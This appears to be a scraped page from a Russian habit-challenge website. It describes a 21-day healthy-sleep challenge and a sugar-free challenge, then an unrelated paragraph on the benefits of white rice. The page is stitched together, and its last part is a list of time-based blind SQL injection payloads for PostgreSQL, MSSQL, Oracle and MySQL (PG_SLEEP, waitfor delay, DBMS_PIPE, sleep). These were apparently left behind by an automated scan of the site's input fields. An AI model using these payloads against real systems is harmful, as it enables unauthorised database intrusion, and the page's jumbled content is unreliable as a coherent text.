Войти
2
активных
ур. 2
5
завершено
Иван Иванов
Все челленджи
-
Здоровый сонВаше самочувствие по утрам и уровень энергии в течение дня зависит не только от того, сколько вы спите, но и когда вы ложитесь спать и просыпаетесь. Медики в один голос советуют и совам, и жаворонкам засыпать не позже полуночи. Конечно, из любого правила бывают исключения: срочная работа, вечеринки, путешествия – всё это может ненадолго сбить режим сна. Но главное, чтобы такой «сбой» не затянулся. Челлендж «Здоровый сон» – это прекрасная возможность бросить себе вызов и посмотреть, сможете ли вы изменить свой режим, а заодно проверить, как сильно всего одна новая привычка может повлиять на ваше самочувствие. А мы все эти три недели будем рассказывать вам о хитростях, которые помогут вам перестроиться безболезненно.0 дней
-
21 день без сахараТрехнедельный челлендж для тех, кто хочет отказаться от сладкого. Это один из самых сложных марафонов, которые организовывал The Challenger. Каждый, кто когда-либо пробовал отказаться от сладкого, знает, как это непросто. Чтобы облегчить вам задачу, мы постарались собрать вместе все техники, которые помогают менее болезненно избавиться от привычки употреблять в пищу «лишний» сахар.0 дней
The-Challenger.ru, Челленджер 2025 Все права защищены, 
Использование материалов The-Challenger.ru (Челленджер) без разрешения редакции сайта запрещено.
Согласие на обработку персональных данных
Стоковые изображения от Depositphotos
Белый рис содержит сложные углеводы, необходимые для поддержания энергетического баланса, клетчатку, нормализующую деятельность желудочно-кишечного тракта и являющуюся профилактическим средством от возникновения запоров. В состав белого риса входят: витамины группы В (холин, В1, В2, В5, В6), Е, Н и РР, а также нужные организму минеральные вещества: калий, кальций, магний, цинк, селен, медь и марганец, железо, фосфор и натрий. Рис хорошо выводит жидкость из организма человека, способствует очищению почек и печени. Белый рис полезен для усиления защитных сил организма, так как повышает иммунитет, оказывает благотворное действие на работу нервной и сердечно-сосудистой систем. Благодаря наличию калия, белый рис заметно улучшает солевой баланс, выводя лишние соли и служит защитным средством от отложения солей.
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
5550yBRG161') OR 91=(SELECT 91 FROM PG_SLEEP(15))--
555fGoYnfQt' OR 765=(SELECT 765 FROM PG_SLEEP(15))--
555-1) OR 242=(SELECT 242 FROM PG_SLEEP(15))--
555b5y1OY9s'; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555rT9W6VNi'; waitfor delay '0:0:15' --
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555MDI7azhu') OR 821=(SELECT 821 FROM PG_SLEEP(15))--
555-1)) OR 653=(SELECT 653 FROM PG_SLEEP(15))--
555-1 OR 630=(SELECT 630 FROM PG_SLEEP(15))--
555-1 waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555*if(now()=sysdate(),sleep(15),0)
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1xk6Os7Ag') OR 235=(SELECT 235 FROM PG_SLEEP(15))--
1-1)) OR 443=(SELECT 443 FROM PG_SLEEP(15))--
1-1 OR 472=(SELECT 472 FROM PG_SLEEP(15))--
1-1 waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1*if(now()=sysdate(),sleep(15),0)
555
1